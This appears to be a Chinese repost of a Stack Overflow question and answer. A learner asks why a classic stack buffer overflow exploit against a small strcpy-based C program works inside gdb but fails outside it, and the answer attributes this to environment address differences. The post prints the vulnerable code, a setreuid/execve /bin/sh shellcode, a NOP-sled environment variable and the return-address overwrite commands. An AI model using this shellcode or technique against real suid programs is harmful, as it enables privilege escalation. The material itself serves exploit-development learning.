gpt4 book ai didi

linux - 缓冲区溢出误解

转载 作者:太空宇宙 更新时间:2023-11-04 04:13:19 27 4
gpt4 key购买 nike

我目前正在尝试理解为什么我的一种利用程序中缓冲区溢出的方法不起作用。我尝试了两种解决方案,第一个有效,但第二个无效。而第一个方法只是在返回地址指向的地方添加一堆 NOP。该程序不包含任何堆栈保护机制。我正在 x86 debian 机器(ASLR 关闭)、内核 2.6.32-5-686 上工作,具有以下易受攻击的代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *arg)
{
char msg[12];
strcpy(msg,arg);
}

int main(int argc, char** argv)
{
if (argc != 2)
{
printf("Usage : prog arg\n");
exit(1);
}

vuln(argv[1]);


return 0;
}

所以,这个方法有效:

  1. EGG 将包含 100x NOP 和我的 shellcode

    export EGG=`python2.6 -c 'print "\x90"*100 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
  2. 在 gdb 中使用“x/200s $esp”在 0xbffffe10 处找到 EGG 环境变量

  3. 利用该程序:

    ./a.out `python2.6 -c 'print "\x90"*24 + "\x50\xfe\xff\xbf"'`

    我在 EGG 地址中添加了 0x40,让 EIP 指向 NOP 堆。

这个不起作用:

  1. export EGG=`python2.6 -c 'print "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
  2. 在 gdb 中使用“x/200s $esp”在 0xbffffe75 处找到 EGG 环境变量

  3. 利用该程序:

    ./a.out `python2.6 -c 'print "\x90"*24 + "\x79\xfe\xff\xbf"'`

    我在 EGG 变量中添加了 0x4 以忽略以“EGG=”开头的地址

这里 shell 生成到 gdb 中,但我没有像我想要的那样 suid,并且在 gdb 之外,程序只是出现段错误...使用 gdb 时:

r `python2.6 -c 'print "\x90"*24 + "AABC"'`

我得到了我应该得到的:

Cannot access memory at address 0x43424141
0x43424141 in ?? ()

所以我实际上是在删除正确的返回地址......我做错了什么?为什么 gdb 生成一个 shell,而调试器之外没有任何东西在工作?

最佳答案

gdb 提供的环境与从 shell 启动时不同。您需要调整您的地址:

例如(ASLR 关闭):

$ cat test.c
#include <stdio.h>

int main()
{
int *i;
printf("stack var at: %p\n", i);
printf("env var at: %p\n", (void *)getenv("PATH"));
}

给予:

$./test 
stack var at: 0xb7fc7ff4
env var at: 0xbffffebd

$ gdb test
Reading symbols from /home/user/test...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/user/test
stack var at: 0xb7fc7ff4
env var at: 0xbffffe91

例如,比较 gdbshowenvironment 和 shell 中 printenv 的结果

关于linux - 缓冲区溢出误解,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18034872/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com